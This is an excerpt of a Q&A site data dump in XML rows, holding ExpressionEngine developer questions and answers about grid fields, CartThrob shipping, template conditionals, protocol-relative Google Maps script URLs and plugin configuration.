  <row Id="30427" PostTypeId="1" AcceptedAnswerId="30428" CreationDate="2015-03-08T16:16:26.473" Score="0" ViewCount="137" Body="&lt;p&gt;Is there a better way to tie into EE to create a grid field? During my module install, I am having it setup a new grid field to relate to a custom channel field group that setups up the required table information for a grid in my database. Example below. I feel there has to be a better/cleaner way to achieve this. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Create exp_channel_fields and assign by group_id&#xA;    ee()-&amp;gt;db-&amp;gt;insert(&#xA;&#xA;        'exp_channel_fields',&#xA;            array(&#xA;&#xA;                'site_id'               =&amp;gt; 1,&#xA;                'group_id'              =&amp;gt; 0,&#xA;                'field_name'            =&amp;gt; 'menu',&#xA;                'field_label'           =&amp;gt; 'Sidebar Nav',&#xA;                'field_instructions'    =&amp;gt; 'Add links to display on sidebar nav.',&#xA;                'field_type'            =&amp;gt; 'grid',&#xA;                'field_pre_populate'    =&amp;gt; 0,&#xA;                'field_pre_channel_id'  =&amp;gt; 0,&#xA;                'field_pre_field_id'    =&amp;gt; 0,&#xA;                'field_ta_rows'         =&amp;gt; 6,&#xA;                'field_maxl'            =&amp;gt; 128,&#xA;                'field_required'        =&amp;gt; 'n',&#xA;                'field_text_direction'  =&amp;gt; 'ltr',&#xA;                'field_search'          =&amp;gt; 'n',&#xA;                'field_is_hidden'       =&amp;gt; 'n',&#xA;                'field_fmt'             =&amp;gt; 'xhtml',&#xA;                'field_show_fmt'        =&amp;gt; 'n',&#xA;                'field_order'           =&amp;gt; 3,&#xA;                'field_content_type'    =&amp;gt; 'any',&#xA;                'field_settings'        =&amp;gt; $field_settings&#xA;&#xA;            )&#xA;    );&#xA;&#xA;&#xA;&#xA;    ee()-&amp;gt;db-&amp;gt;insert(&#xA;&#xA;        'exp_grid_columns',&#xA;            array(&#xA;&#xA;                'field_id'         =&amp;gt; $exp_channel_field_id,&#xA;                'content_type'     =&amp;gt; 'channel',&#xA;                'col_order'        =&amp;gt; 0,&#xA;                'col_type'         =&amp;gt; 'multi_select',&#xA;                'col_label'        =&amp;gt; 'Nav Select',&#xA;                'col_name'         =&amp;gt; 'nav_option',&#xA;                'col_required'     =&amp;gt; 'n',&#xA;                'col_search'       =&amp;gt; 'n',&#xA;                'col_width'        =&amp;gt; 0,&#xA;                'col_settings'     =&amp;gt; '{&quot;field_fmt&quot;:&quot;none&quot;,&quot;field_list_items&quot;:&quot;link1\nlink2\nlink3&quot;,&quot;field_required&quot;:&quot;n&quot;}'&#xA;&#xA;            )&#xA;&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3046" LastEditorUserId="3046" LastEditDate="2015-03-08T16:23:29.513" LastActivityDate="2015-03-08T16:53:10.700" Title="Insert Custom Channel Field Grid into Database?" Tags="|module|grid|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30428" PostTypeId="2" ParentId="30427" CreationDate="2015-03-08T16:53:10.700" Score="0" Body="&lt;p&gt;I believe the best approach to this was to tie directly into Expression Engine's Channel fields API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_fields.html#fetch-all-fieldtypes&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_fields.html#fetch-all-fieldtypes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3046" LastActivityDate="2015-03-08T16:53:10.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30429" PostTypeId="2" ParentId="24595" CreationDate="2015-03-08T17:27:49.137" Score="0" Body="&lt;h1&gt;Me too...&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I've run into the same issue... with live rates. I'm not sure what shipping plugins you're using but, regardless, I believe the problem is CT checks the &quot;shippable subtotal&quot; to see if it is less than or equal to 0 and, if it is, &lt;strong&gt;no shipping is provided&lt;/strong&gt;. The following is in regards to the live rates plugins. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The problem is with shippable_subtotal()&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Ultimately, running &lt;code&gt;shippable_subtotal()&lt;/code&gt; on the cart goes through all of the products that are &quot;shippable&quot; and then runs &lt;code&gt;$item-&amp;gt;price_subtotal()&lt;/code&gt; for each item in the cart. If the price of the product has been set to $0, it's shippable subtotal becomes $0 as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of checking that the shippable subtotal is less than or equal to 0, CT &lt;em&gt;should&lt;/em&gt; check to see if the cart has shippable items. Just because the subtotal of shippable items is 0, doesn't mean the products don't need to be shipped. &lt;strong&gt;I think this is a bug.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;For example...&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Specifically, the code I'm referring to is in Cartthrob's live rate shipping plugins that I use (&lt;code&gt;Cartthrob_shipping_fedex.php&lt;/code&gt; starting on line 668 and &lt;code&gt;Cartthrob_shipping_usps.php&lt;/code&gt; starting on line 797):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_shipping()&#xA;{&#xA;    $cart_hash = $this-&amp;gt;core-&amp;gt;cart-&amp;gt;custom_data('cart_hash'); &#xA;&#xA;    if ($this-&amp;gt;core-&amp;gt;cart-&amp;gt;count() &amp;lt;= 0 || $this-&amp;gt;core-&amp;gt;cart-&amp;gt;shippable_subtotal() &amp;lt;= 0)&#xA;    {&#xA;        return 0;&#xA;    }&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, if &lt;code&gt;$this-&amp;gt;core-&amp;gt;cart-&amp;gt;shippable_subtotal() &amp;lt;= 0&lt;/code&gt;, 0 is returned as the shipping cost. This is why shipping isn't charged.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;So what can we do?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There would need to be some pretty extreme modifications made to the core Cartthrob shipping plugins to fix this issue because it appears all of them use the &lt;code&gt;shippable_subtotal()&lt;/code&gt; method to calculate the final shipping price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for the live rates plugins, I had to modify the core code (which is obviously discouraged) to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to remove the &lt;code&gt;$this-&amp;gt;core-&amp;gt;cart-&amp;gt;shippable_subtotal()&lt;/code&gt; check and replace it with &lt;code&gt;count($this-&amp;gt;core-&amp;gt;cart-&amp;gt;shippable_items) === 0&lt;/code&gt;. The new code within the live rates plugins for &lt;code&gt;get_shipping()&lt;/code&gt; would need to be modified to look like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_shipping()&#xA;{&#xA;    $cart_hash = $this-&amp;gt;core-&amp;gt;cart-&amp;gt;custom_data('cart_hash'); &#xA;&#xA;    if ($this-&amp;gt;core-&amp;gt;cart-&amp;gt;count() &amp;lt;= 0 || count($this-&amp;gt;core-&amp;gt;cart-&amp;gt;shippable_items()) === 0&#xA;    {&#xA;        return 0;&#xA;    }&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Partial Answer&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I recognize this solution is only for the live rates plugins but I wanted to submit the answer because your question wasn't specific on which plugin was being used. I haven't used the built-in shipping plugins so I don't have experience with their code. Someone else may be able to gain insight from my partial answer and expand on it for the built-in plugins.&lt;/p&gt;&#xA;" OwnerUserId="3577" LastActivityDate="2015-03-08T17:27:49.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30430" PostTypeId="2" ParentId="30403" CreationDate="2015-03-08T19:27:50.317" Score="0" Body="&lt;p&gt;Ok that's simple enough. The relationship field loop is just like the entries loop. It shouldn't return anything if there isn't anything to grab. But regardless, all you should have to do is wrap your heading in a conditional and have it only display before the first returned entry from the related channel, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{disco_disc2_tracks}&#xA;{if disco_disc2_tracks:count == &quot;1&quot;}&#xA;&amp;lt;div class=&quot;disc-tracks&quot;&amp;gt;&#xA;DISK 2 (you didn't include your header but I'm assuming you have something like this going on prior to the related entries loop.)&#xA;&amp;lt;ol&amp;gt;{!-- START DISCOGRAPHY --}&#xA;{/if}&#xA;&amp;lt;li&amp;gt;&amp;lt;h4&amp;gt;{disco_disc2_tracks:title}&amp;lt;/h4&amp;gt;&#xA;{!--IF STATEMENT SHOWS THE DUET PARTNER AND HIDES THE (WITH) IF THERE ISN'T ONE--}&#xA;{if disco_disc2_tracks:track_duet_partner}&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;(with {disco_disc2_tracks:track_duet_partner})&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;&amp;lt;p&amp;gt;&amp;lt;span class=&quot;songwrittenby&quot;&amp;gt;Written By:         {disco_disc2_tracks:track_writtenby}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;{if disco_disc2_tracks:count == disco_disc2_tracks:total_results}&amp;lt;/ol&amp;gt;&amp;lt;/div&amp;gt;{/if}&#xA;  {/disco_disc2_tracks}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the idea is start the div and the list on condition that at least one entry is returned by count by the related entries loop (for each disk) and close it on condition that the returned entry by count is the last returned entry.  I also recommend moving the markup around the track duet partner INSIDE the conditional as well - otherwise you would have paragraph tags (empty) when one doesn't exist.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2015-03-08T19:27:50.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30432" PostTypeId="1" CreationDate="2015-03-08T20:38:04.050" Score="0" ViewCount="52" Body="&lt;p&gt;In channel entries tag I have something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if category ==&quot;39|50|51&quot;}&#xA;   do this&#xA;{if:else}&#xA;   do that&#xA;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if statement is not working. I do not get it why. there are no variables for channel entries so I presume that is part of the problem. But how to do it then? How to check if entry has category to display one message, if it has another display something else&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit with full tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;{exp:channel:entries channel=&quot;katalog&quot; limit=&quot;12&quot; dynamic=&quot;yes&quot; status=&quot;open&quot; show_future_entries=&quot;no&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;member_data&quot; pagination=&quot;bottom&quot;}&#xA;&#xA;{if category ==&quot;39|50|51&quot;}&#xA;&#xA;{exp:channel_images:images entry_id=&quot;{entry_id}&quot; channel=&quot;katalog&quot; limit=&quot;1&quot; cover_only=&quot;yes&quot;}&#xA;show image&#xA;&#xA;{if image:no_images}&#xA;show alternative image that says NO IMAGE found&#xA;{/if}&#xA;{/exp:channel_images:images}&#xA;&#xA;{if:else}&#xA;show something completely else for entries that are not in category 39, 50 or 51&#xA;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3582" LastEditorUserId="3582" LastEditDate="2015-03-15T19:51:44.473" LastActivityDate="2015-03-15T19:51:44.473" Title="Categories problem conditional" Tags="|categories|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30433" PostTypeId="2" ParentId="30404" CreationDate="2015-03-08T20:47:20.067" Score="0" Body="&lt;p&gt;We had a scenario where free samples are offered by the client, but they only wanted customers to be able to request 1 sample pack at a time to discourage people buying the cheaper samples instead of the real product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the product page we have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;add-to-basket&quot;&amp;gt;&#xA;  {if {exp:cartthrob:is_in_cart entry_id=&quot;249&quot;}}&#xA;  &amp;lt;p&amp;gt;It looks like you've already added samples to your basket. Our sample packs are free (subject to postage) so they are limited to one per customer.&amp;lt;/p&amp;gt;&#xA;  {if:else}&#xA;  &amp;lt;button type=&quot;submit&quot;&amp;gt;Add To Basket&amp;lt;/button&amp;gt;&#xA;  {/if}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The difference here is we didn't need to count the products as they were limited to just 1. Not sure whether you could use another conditional within &lt;code&gt;{if {exp:cartthrob:is_in_cart entry_id=&quot;xxx&quot;}}&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2015-03-08T20:47:20.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30434" PostTypeId="2" ParentId="30122" CreationDate="2015-03-08T21:01:06.223" Score="1" Body="&lt;p&gt;I was able to fix this by adding the redirect url directly in the javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;success: function() {&#xA;window.location.href = &quot;redirected-page.html&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2015-03-08T21:01:06.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30435" PostTypeId="2" ParentId="30423" CreationDate="2015-03-08T21:03:29.967" Score="-1" Body="&lt;p&gt;I was able to resolve this by using &lt;a href=&quot;https://devot-ee.com/add-ons/forms-js-validation&quot; rel=&quot;nofollow&quot;&gt;Forms JS validation&lt;/a&gt; which is a great EE addon.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2015-03-08T21:03:29.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30437" PostTypeId="1" CreationDate="2015-03-08T22:41:08.767" Score="2" ViewCount="63" Body="&lt;p&gt;I brought up this issue with the developers when EE 2 first came out and at the time there was no solution. I am now wondering if anyone has created any hacks, workarounds or add-ons that solve the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the fact that EE insists on recreating all thumbnails every time you synchronize an upload destination. It does not recreate small or medium images (unless you tell it to) but there's no way to avoid the thumbnail recreation, which means that a batch addition of say, 100 images, to an already large gallery will take a very long time to process since all previous images will have their thumbnails recreated.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2015-03-13T13:12:53.037" Title="Need to turn off thumbnail recreation when synchronizing files - possible?" Tags="|files|thumbnails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30438" PostTypeId="2" ParentId="30378" CreationDate="2015-03-09T01:30:30.037" Score="0" Body="&lt;p&gt;Finally figured this one out.  Our install uses &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Labs global config&lt;/a&gt;, which rearranges the modules / themes folder structure.  Initially, we had the module &amp;amp; theme directory in this location.  After moving to the default EE location, the module worked as expected.&lt;/p&gt;&#xA;" OwnerUserId="6096" LastActivityDate="2015-03-09T01:30:30.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30439" PostTypeId="1" AcceptedAnswerId="30479" CreationDate="2015-03-09T05:51:24.230" Score="0" ViewCount="58" Body="&lt;p&gt;A brand new EE 2.9 installation and it is NOT loading the updated version of a template. The template is called &quot;index&quot;, lives in a &quot;home&quot; group and is set to be the Site Homepage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Template manager shows the new version, the file on the server shows the new version, the website shows the old version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to &quot;example.com&quot; it shows the old version.&lt;br&gt;&#xA;If I go to &quot;example.com/index&quot; it shows the new version.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create NEW group with a NEW template as the homepage it STILL loads the original old &quot;index&quot; template from &quot;home&quot; group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have: Cleared all EE caches, ensured template caching is turned of, cleared all browser caches, tested on Firefox, Chrome and IE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WTF?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Deleted template files from server and Template Group from EE and IT STILL shows the old template! Checked the &quot;exp_templates&quot; table and it shows NO templates.&lt;/p&gt;&#xA;" OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2015-03-09T06:40:44.697" LastActivityDate="2015-03-11T07:10:22.267" Title="Mystery template loading" Tags="|templates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30440" PostTypeId="1" CreationDate="2015-03-09T10:57:46.093" Score="0" ViewCount="27" Body="&lt;p&gt;I'm trying to use Solspace Supersearch to do a location lookup for franchisees. Each franchisee has an 'areas covered' field that lists a comprehensive list of the areas the cover (both towns and postcodes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is that we are only listing the first 4 characters of postcodes (otheriwse we'd be listing millions) but want to display results even if someone searches for a full post code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&#xA;One entry has the postcode 'PE25' listed. If a user searches for 'PE25 123' then the entry is found, but if the user searches 'PE25123' then no entry is found.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results &#xA;    channel=&quot;technicians&quot;&#xA;    where=&quot;any&quot;&#xA;    inclusive_keywords=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'd like to happen is for supersearch to see that 'PE25123 contains 'PE25' and display the result. I've tried to play around with 'inclusive_keywords' and 'search_words_within_words' with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be massively appreciated as this one's got me stumpted!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastEditorUserId="432" LastEditDate="2015-03-09T16:00:57.790" LastActivityDate="2015-03-09T16:00:57.790" Title="How to get Solspace Supersearch to find words within words?" Tags="|solspace|supersearch|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30441" PostTypeId="2" ParentId="30415" CreationDate="2015-03-09T12:50:21.300" Score="1" Body="&lt;p&gt;I may be reading this wrong and so if I am then I apologise but could this not work for you? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;h4&amp;gt;Recent News Posts&amp;lt;/h4&amp;gt;&#xA;&amp;lt;ul class=&quot;inline-list&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;community|government|education|business|history&quot; limit=&quot;3&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/{channel_short_name}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You then won't need to use any conditionals which add extra processing time to your template and if you ever add more channels then you won't need to add any more conditionals into the code either. &lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2015-03-09T12:50:21.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30442" PostTypeId="2" ParentId="30426" CreationDate="2015-03-09T15:57:39.320" Score="0" Body="&lt;p&gt;The issue is the obfuscated link provided by the locked URL doesn't have a file type. So this means Google isn't reading it and it can't be shown as a web page. If you want the browser to show it like a web page you have to use the regular url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-03-09T15:57:39.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30443" PostTypeId="1" AcceptedAnswerId="30503" CreationDate="2015-03-09T17:43:28.600" Score="0" ViewCount="121" Body="&lt;p&gt;I'm trying to get MX Notify Control setup to handle new entry and updated entry notifications for an event registration channel I created. Currently the notifications are working for 10 of the 11 notifications, however there is one custom status that often sends data from a different entry than the one been updated to this problematic status. It should be noted that the same issue occurs when attempting to setup the notification with my Postmaster module as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is an example of the code I'm using for the e-mail template for this notification that always sends the wrong data or better described it will send the data for the first entry in the channel with the 'Hours-Confirmed' status which is usually not the correct one or the one being updated. I will also mention that the template below doesn't seem to be the issue though as the same problem happens if you update an entry to the 'Hours-Confirmed' status from the control panel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Event Hours Confirmed&amp;lt;/h3&amp;gt;&#xA;{exp:channel:entries channel=&quot;vip_event_registration&quot; status=&quot;Hours-Confirmed&quot; limit=&quot;1&quot;}&#xA;&amp;lt;p&amp;gt;Your hours have now been confirmed for {vip_event}. According to our records, you attended this event for {vip_hours_total} hours.  Thank you for participating in a VIP event!&amp;lt;/p&amp;gt;                                          &#xA;{/exp:channel:entries}      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above e-mails the incorrect data when an older entry is updated to the  'Hours-Confirmed' status as it always sends the data for the first entry with the 'Hours-Confirmed' status starting from the most recent entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front-end template I'm using a search parameter for my Safecracker status update form like this, &lt;strong&gt;search:entry_id=&quot;{segment_3}&quot;&lt;/strong&gt; and I have it setup so the correct entry_id is always in segment_3 of the URL. I need to also create that association for the e-mail notification so it will send the correct data but not exactly sure how to go about that. In fact I thought that functionality was or should be built-in to both MX Notify Control and Postmaster but it doesn't work in either for this one status. My only ideas at this point are to keep the 10 working notifications and setup a custom PHP script for the 11th one that's causing all these problems with incorrect data being sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another interesting point to note is that if I go to the control panel and look at an older entry, not change anything but just submit it again, then I'll get an e-mail notification with the data from the most recent entry with the 'Hours-Confirmed' status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same is also true for the Postmaster module. It's strange that 10 of the 11 e-mail notifications are now working with MX Notify Control but there is one status that sends incorrect data in both MX Notify Control and Postmaster. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips or suggestions to help resolve this issue with the incorrect entry data being sent would be greatly appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="3279" LastEditorUserId="3279" LastEditDate="2015-03-12T16:19:30.117" LastActivityDate="2015-03-12T16:19:30.117" Title="MX Notify Control Sending Incorrect Data" Tags="|postmaster|mx-notify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30444" PostTypeId="2" ParentId="19617" CreationDate="2015-03-09T20:11:04.937" Score="2" Body="&lt;p&gt;Make sure it is not being overwritten in the config.php file. At the bottom of the config file, the encryption key is declared as blank, so make sure the key is entered there, or below these lines of code &lt;pre&gt;/*&#xA;|--------------------------------------------------------------------------&#xA;| Encryption Key&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If you use the Encryption class or the Sessions class with encryption&#xA;| enabled you MUST set an encryption key.  See the user guide for info.&#xA;|&#xA;*/&#xA;$config['encryption_key'] = '';&lt;/pre&gt;&lt;/p&gt;&#xA;" OwnerUserId="1539" LastEditorUserId="1539" LastEditDate="2015-03-09T20:22:52.560" LastActivityDate="2015-03-09T20:22:52.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30445" PostTypeId="2" ParentId="25558" CreationDate="2015-03-09T20:50:12.963" Score="3" Body="&lt;p&gt;&lt;code&gt;$plugin_info&lt;/code&gt; is a required array for ExpressionEngine 2.x plugins. The PHP class providing the functionality for the plugin will work fine without it, but that is where the information for installed plugins is pulled to be displayed in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the full details here: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/plugins.html#plugin-info-array&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Plugin API: &lt;code&gt;$plugin_info&lt;/code&gt; array&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$plugin_info = array(&#xA;    'pi_name'         =&amp;gt; 'Member List',&#xA;    'pi_version'      =&amp;gt; '1.0',&#xA;    'pi_author'       =&amp;gt; 'Jane Doe',&#xA;    'pi_author_url'   =&amp;gt; 'http://example.com/',&#xA;    'pi_description'  =&amp;gt; 'Returns a list of site members',&#xA;    'pi_usage'        =&amp;gt; Memberlist::usage()&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-03-09T20:50:12.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30446" PostTypeId="1" AcceptedAnswerId="30447" CreationDate="2015-03-10T04:20:55.610" Score="1" ViewCount="534" Body="&lt;p&gt;MX Google Maps does not display in a channel form when the page is loaded over HTTPS. I get the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The page at 'https://www.fakesite.com/members/manage-listing/474' was loaded over HTTPS, but requested an insecure resource 'http://maps.google.com/maps/api/js?sensor=false'. This request has been blocked; the content must be served over HTTPS.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also stops all of my other JavaScript from running&lt;/p&gt;&#xA;" OwnerUserId="3231" LastActivityDate="2015-03-10T04:20:55.610" Title="MX google maps loads insecurely over https" Tags="|mx-google-map|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30447" PostTypeId="2" ParentId="30446" CreationDate="2015-03-10T04:20:55.610" Score="1" Body="&lt;p&gt;edit the file &lt;code&gt;/system/expressionengine/expressionengine/third_party/mx_google_map/ft.mx_google_map.php&lt;/code&gt; and change the following lines&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On line 135, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_foot('&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://maps.google.com/maps/api/js?sensor=false&quot;&amp;gt;&amp;lt;/script&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_foot('&amp;lt;script type=&quot;text/javascript&quot; src=&quot;//maps.google.com/maps/api/js?sensor=false&quot;&amp;gt;&amp;lt;/script&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and on line 856, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_foot('&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://maps.google.com/maps/api/js?sensor=false&quot;&amp;gt;&amp;lt;/script&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_foot('&amp;lt;script type=&quot;text/javascript&quot; src=&quot;//maps.google.com/maps/api/js?sensor=false&quot;&amp;gt;&amp;lt;/script&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By removing the &quot;http:&quot; from both of the urls you are allowing the browser to choose which protocol to use.&lt;/p&gt;&#xA;" OwnerUserId="3231" LastActivityDate="2015-03-10T04:20:55.610" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30448" PostTypeId="2" ParentId="25002" CreationDate="2015-03-10T08:14:26.957" Score="1" Body="&lt;p&gt;Since Channel Ratings uses ExpressionEngine's native commenting system, you should look at &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/security/spam_protection.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;general solutions for combatting comment spam&lt;/a&gt;, including &lt;a href=&quot;https://expressionengine.stackexchange.com/a/25021/1978&quot;&gt;enabling Captcha as @gabriel_b suggests&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had success in the past using Ben Croker's &lt;a href=&quot;https://devot-ee.com/add-ons/snaptcha&quot; rel=&quot;nofollow noreferrer&quot;&gt;Snaptcha&lt;/a&gt; add-on to prevent automated spam attacks.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-03-10T08:14:26.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
